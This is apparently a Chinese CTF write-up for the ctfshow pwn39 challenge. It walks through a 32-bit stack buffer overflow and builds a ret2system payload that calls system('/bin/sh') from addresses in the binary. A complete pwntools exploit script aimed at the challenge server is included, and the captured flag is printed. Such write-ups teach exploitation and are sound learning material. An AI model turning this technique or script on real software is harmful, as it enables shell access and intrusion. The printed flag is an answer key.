CTFshow-PWN-栈溢出(pwn39)

32位的 system(); "/bin/sh"

检查:

32 位程序

使用 ida32 分析

跟进 ctfshow 函数

buf 到 ebp 距离:0x12

代码解释:

声明了一个长度为 14 的字符数组 buf,数组大小为14字节,用来存储用户输入的数据,调用 read() 函数,从文件描述符(在这里是标准输入,文件描述符0)读取数据。read()函数的第一个参数是文件描述符,第二个参数是用来接收数据的缓冲区,第三个参数是要读取的字节数。

read() 函数试图从标准输入读取最多 0x32(十进制为50)个字节的数据到 buf 数组中,然后返回实际读取的字节数。但是,由于 buf 数组的大小只有 14 字节,这就可能导致溢出。

shift + F12:

看到 /bin/sh

跟进

找到 hint 函数

但是这里和我们之前(pwn37、pwn38)不一样:

在标准输出上输出路径 '/bin/sh';

调用 system()函数,该函数用于执行系统命令,但这里只是输出提示信息 'You find me?'。

而前面我们遇到的直接获取 shell 的是:system("/bin/sh")

根据题目描述:32位的 system(); "/bin/sh"

system() 与 "/bin/sh" 在程序中都存在,但这里将系统函数与参数分开了,我们需要手动构造。

payload 格式:

复制代码
payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)

首先在溢出后填入 system 函数的地址,这个地址将覆盖程序返回地址,以便控制程序流程。
此外我们需要考虑函数调用栈的结构:system函数的第一个参数通常是一个指向要执行的命令的字符串,如 /bin/sh,需要将这个字符串的地址作为参数传递给 system 函数,system 函数的第二个参数通常是一个指向空值的指针,表示没有额外的参数。在 payload 中,可以使用任意值,比如 0 ,使用 p32() 函数将地址转换为4字节的字符串,也可以用其他任意 4 字节字符,如 'aaaa',最后再加上 bin/sh 的地址,我们就能够利用缓冲区溢出漏洞成功调用 system("/bin/sh"),从而获取到所需的 shell。

payload 详细解释:

b'a' * (0x12 + 4):这部分是填充,填充的目的是使得输入的长度超过了原本的缓冲区大小,触发缓冲区溢出。

p32(system):这部分是 system 函数的地址,在利用缓冲区溢出漏洞时,重要的一步是覆盖返回地址,使得程序返回时跳转到 system 函数。

p32(0):这部分是 system 函数的第二个参数,在大多数情况下,system 函数的第二个参数应该是一个指向空值的指针,表示没有额外的参数,这里使用了0,表示一个空指针。

p32(bin_sh):这部分是 /bin/sh 字符串的地址,作为 system 函数的第一个参数,/bin/sh 是一个用于启动 shell 的路径,在利用缓冲区溢出漏洞时,我们可以使用这个参数来告诉 system 函数要执行的命令。

这里 system 函数的地址:0x80483A0

/bin/sh 字符串的地址: 0x8048750

编写 exp:

python 复制代码
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28118)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)
p.sendline(payload)
p.interactive()

可以打通,获取 shell,命令执行拿到 flag

ctfshow{82f7f5c7-22cd-48fa-aa30-5347bad92362}

相关推荐
comedate17 小时前
Windows / Linux GPU 虚拟内存布局差异与 CUDA 越界访问行为
linux·windows·mmu·cuda 越界访问
葡萄成熟时 !17 小时前
JAVA 常用API学习笔记
java·笔记·学习
暴力求解19 小时前
Linux网络---传输层协议TCP(二)
linux·服务器·开发语言·网络·tcp/ip
石头猫灯19 小时前
WordPress wp2shell 漏洞链完整拆解流程
网络·数据结构·安全·web安全
网安蟹佬霸19 小时前
OSINT开源情报收集实战:从信息搜集到资产测绘(2026最新万字保姆级指南)
前端·网络·安全·web安全·网络安全·开源
别动我齐刘海19 小时前
机器人运动控制学习2——基础进阶
c++·人工智能·神经网络·学习·目标检测·机器学习·机器人
ltl19 小时前
TLS 1.3 工程实践:1-RTT 与 0-RTT 的安全权衡
安全
ltl19 小时前
序列化格式深度对比:Protobuf、FlatBuffers、Cap’n Proto
linux
lengjingzju19 小时前
编译与调试完全指南—第17章 总结
linux
ltl20 小时前
容器网络性能真相:veth vs macvlan vs eBPF 数据面
linux